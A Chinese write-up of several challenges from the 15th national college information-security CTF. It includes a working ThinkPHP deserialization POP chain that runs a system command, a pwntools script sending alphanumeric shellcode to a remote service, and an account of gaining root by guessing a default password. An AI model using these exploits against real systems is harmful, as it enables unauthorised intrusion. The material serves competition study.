0


第十五届全国大学生信息安全竞赛部分WriteUp

做了10个,都是烂大街的题目,分数很低。CTF榜单186,以为稳进分区赛了。理论题算上变一千五百多名,华东南二百多名,进不去了,WriteUp也不想上传了。

Crypto

不是密码选手,但密码非预期搞出来几个

签到电台

关注公众号给的提示“弼时安全到达了”,查找这几个字的中文电码,然后和题目给的密码本里的前28位密码逐位相加除以10取余。如下:

把取余后的,去掉空格后传入msg就行:

/send?msg=

ISO9798

nc上之后,会给一个sha256之后的字符串,和部分明文,让求出前四位,用以下脚本即可得到前四位

from hashlib import*hash='加密后的'
sss='部分明文'
table='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'for ch1 in table:for ch2 in table:for ch3 in table:for ch4 in table:
                hashvalue=sha256((ch1+ch2+ch3+ch4+sss).encode()).hexdigest()if hashvalue==hash:print(ch1+ch2+ch3+ch4)
                    quit()

求出前四位后,填入。然后会要求输入128字节的数字串,这里随便输入就行,然后返回一个96位字节的字符串。将这个字符串每32位分成一段,总共三段分别为rA、rB、B,然后将rB和rA拼接后传入。举个例子,这个96长度的字符串为112233,传入2211即可,传入后就出flag

基于挑战码的双向认证

读了半天文档,就是让补全功能验证模块,我不会,也看不懂那个C语言。ssh连接:

ssh player@IP -p port

,密码也是player,连上后乱翻目录翻到了root发现能进去,闲的没事翻来翻去,然后找到了flag,如下

cd /root/cube-shell/instance/flag_server
cat flag1.txt
cat flag2.txt

基于挑战码的双向认证2

flag就是上面那个flag2

基于挑战码的双向认证3

放这题的时候,官方好像发现了前两道没做权限验证的点。于是这个题加了权限验证,找到flag无法查看,这里本来没有思路,提权也失败。在尝试获取root权限时,

su

指令切换用户,尝试了很多密码,自己的kali默认密码是toor,于是就试了一下,没想到成功了。然后直接查看flag2就行,这个系列出的很奇怪,预期就是补全客户端的验证模块,几个朋友也是预期做的。但是这个非预期太简单了,几道题没啥意义了,出得很奇怪

Web

Ezpop

参考这个https://www.freebuf.com/vuls/321546.html

把脚本里的Poc里dir命令改成

cat /flag.txt

即可,如下

<?phpnamespacethink{abstractclassModel{private$lazySave=false;private$data=[];private$exists=false;protected$table;private$withAttr=[];protected$json=[];protected$jsonAssoc=false;function__construct($obj=''){$this->lazySave=True;$this->data=['whoami'=>['cat /flag.txt']];$this->exists=True;$this->table=$obj;$this->withAttr=['whoami'=>['system']];$this->json=['whoami',['whoami']];$this->jsonAssoc=True;}}}namespacethink\model{usethink\Model;classPivotextendsModel{}}namespace{echo(base64_encode(serialize(newthink\model\Pivot(newthink\model\Pivot()))));}

输出结果base64解码,然后Urlencode,结果传给a参数以POST方式请求给

index.php/index/test

路由

示例图如下:

Misc

ez_usb

筛选

usb.src=="2.8.1"

导出特定分组为1.pcapng,筛选

usb.src=="2.10.1"

导出特定分组为2.pcapng

然后用

UsbKeyboardDataHacker.py

解析1.pcapng

得到的字符串去掉

<CAP>

,然后去掉

<DEL>

以及前面的字母c,因为DEL代表删除,前面一个字母输入也被删了。然后剩下的字符串,通过如下脚本转存为rar文件,我用HEX编辑器转存的rar打不开,不知道啥原因

import binascii

hex_data ='字符串'
out =open('输出的rar路径','wb')
out.write(binascii.unhexlify(hex_data))
out.close()

这个压缩包需要密码,而密码就是用

UsbKeyboardDataHacker.py

解析2.pcapng得到的字符串

输入密码即可得到flag

问卷调查

填写完因为官方没买会员,人家不给交,哈哈哈笑死了。然后官方应该是买了,提交问卷就给flag

Pwn

login-nomal

exp:

from pwn import*
context.log_level ="debug"
io = remote("ip","port")

io.recv()
shellcode ="Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload ="opt:1\n"+"msg:ro0t1\n"
io.sendline(payload)
payload ="opt:2\n"+"msg:"+ shellcode +"\n"
io.sendline(payload)
io.interactive()

注意一下shellcode写法就行

Reverse

baby_tree

文本打开文件,把值拿出来就行。看就行了跟swift一样硬看,可惜那个没看出来,赛后和朋友交流发现写法有很多,这里只放一个python写的

res=[88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
key=[ord(c)for c in"345y"]defmy_encode(data,key):
    b=data
    k=key
    for i inrange(len(b)-4+1):
        r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
        b[i]=r2^((k[0]+(r0>>4))&0xff)
        b[i+1]=r3^((k[1]+(r1>>2))&0xff)
        b[i+2]=r0^k[2]
        b[i+3]=r1^k[3]
        k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]return b==res

defmy_decode(data,key):
    b=data
    k=key
    k[0], k[1], k[2], k[3]= k[2], k[3], k[0],k[1]for i inrange(38,-1,-1):
        r1=b[i+3]^k[3]
        r0=b[i+2]^k[2]
        r3=b[i+1]^((k[1]+(r1>>2))&0xff)
        r2=b[i]^((k[0]+(r0>>4))&0xff)
        k[1], k[2], k[3], k[0]= k[0], k[1], k[2], k[3]
        b[i], b[i +1], b[i +2], b[i +3]= r0, r1, r2, r3
    print("".join(chr(i)for i in b))

my_decode(res,key)

flag为:

flag{30831242-56db-45b4-96fd-1f47e60da99d}

做了十个,解决50%,没进分区赛很烦。理论题这种设定让人想开个泥头车创创设计者!

标签: web安全 CTF 安全

本文转载自: https://blog.csdn.net/qq_45619909/article/details/125038773
版权归原作者 Tajang 所有, 如有侵权,请联系我们删除。

“第十五届全国大学生信息安全竞赛部分WriteUp”的评论:

还没有评论